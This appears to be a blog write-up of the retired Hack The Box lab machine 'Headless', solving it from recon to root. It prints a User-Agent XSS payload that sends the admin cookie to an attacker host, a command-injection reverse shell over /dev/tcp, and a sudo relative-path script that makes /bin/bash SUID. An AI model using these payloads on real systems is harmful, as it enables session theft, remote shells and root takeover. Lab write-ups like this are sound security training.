~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / headless.md

headless

Linux · Easy · released 2024-03-23 · retired 2024-07-20

Summary

Headless is an Easy Linux box. The web application (Flask/Werkzeug on port 5000, not 80) has a contact form that filters HTML in the body, triggering an error page. That error page reflects the User-Agent header unescaped — a classic header XSS. An admin bot visits the error page, executing the payload, which exfiltrates the admin session cookie. The admin dashboard has a date parameter passed to a shell command with shell=True, enabling direct command injection as dvir. For privilege escalation, dvir has passwordless sudo on /usr/bin/syscheck, which calls ./initdb.sh via a relative path. Dropping a malicious initdb.sh in /tmp and running syscheck from there sets the SUID bit on /bin/bash → root.

The chain:

  1. POST /support with <script> in body → “Hacking Attempt Detected” page, admin bot views it with our XSS User-Agent reflected → cookie stolen.
  2. POST /dashboard with date=2023-09-15;<cmd> → RCE as dvir.
  3. sudo -l(ALL) NOPASSWD: /usr/bin/syscheck. Script calls ./initdb.sh (relative path, CWD-dependent).
  4. printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/initdb.sh && chmod +x /tmp/initdb.sh then cd /tmp && sudo /usr/bin/syscheck.
  5. /bin/bash -p → root.

Recon

22/tcp    open  OpenSSH 9.2p1 Debian 2+deb12u2
5000/tcp  open  Werkzeug/2.2.2 Python/3.11.2 — Flask app ("Under Construction")

Note: web runs on port 5000, not 80. The main page sets an is_admin cookie with a user-role value; the admin-role value is needed for /dashboard.

Web enumeration

Foothold — header XSS + cmd injection

Why header XSS works

The Flask error handler for “hacking attempt” renders a page that includes the raw User-Agent string without HTML escaping. An admin bot checks flagged submissions, so our injected <script> tag executes in their browser context and can exfiltrate their is_admin cookie.

# Start listener
nc -lvnp 8888

# Trigger error page with XSS payload in UA
curl -X POST http://headless.htb:5000/support \
  -H 'User-Agent: <script>var i=new Image();i.src="http://<ATTACKER>:8888/?c="+document.cookie;</script>' \
  -d 'fname=x&lname=x&[email protected]&phone=1&message=<script>alert(1)</script>'
# Admin bot views the error page -> cookie arrives at listener

Step 2 — command injection via date parameter

# Verify RCE
curl -s -b "is_admin=<cookie>" -X POST http://headless.htb:5000/dashboard \
  --data-urlencode 'date=2023-09-15;id'
# Output: uid=1000(dvir)...

# Reverse shell
curl -s -b "is_admin=<cookie>" -X POST http://headless.htb:5000/dashboard \
  --data-urlencode 'date=2023-09-15;bash -c "bash -i >& /dev/tcp/<ATTACKER>/9001 0>&1"'

Privesc — sudo syscheck + relative path

/usr/bin/syscheck is a bash script that, when initdb.sh is not running, executes ./initdb.sh — a relative path resolved from the caller’s CWD. Since sudo preserves the CWD by default, running it from /tmp (where we control files) causes root to execute our script.

# As dvir:
$ sudo -l
(ALL) NOPASSWD: /usr/bin/syscheck

# Plant malicious initdb.sh
$ printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/initdb.sh
$ chmod +x /tmp/initdb.sh

# Trigger it as root
$ cd /tmp && sudo /usr/bin/syscheck
# ...Starting it... (our script runs)

# Escalate
$ /bin/bash -p
bash-5.2# id
uid=1000(dvir) euid=0(root) ...
bash-5.2# cat /root/root.txt

Why each step worked

Counterfactuals

Key Takeaways

← all htb machines hackthebox.com ↗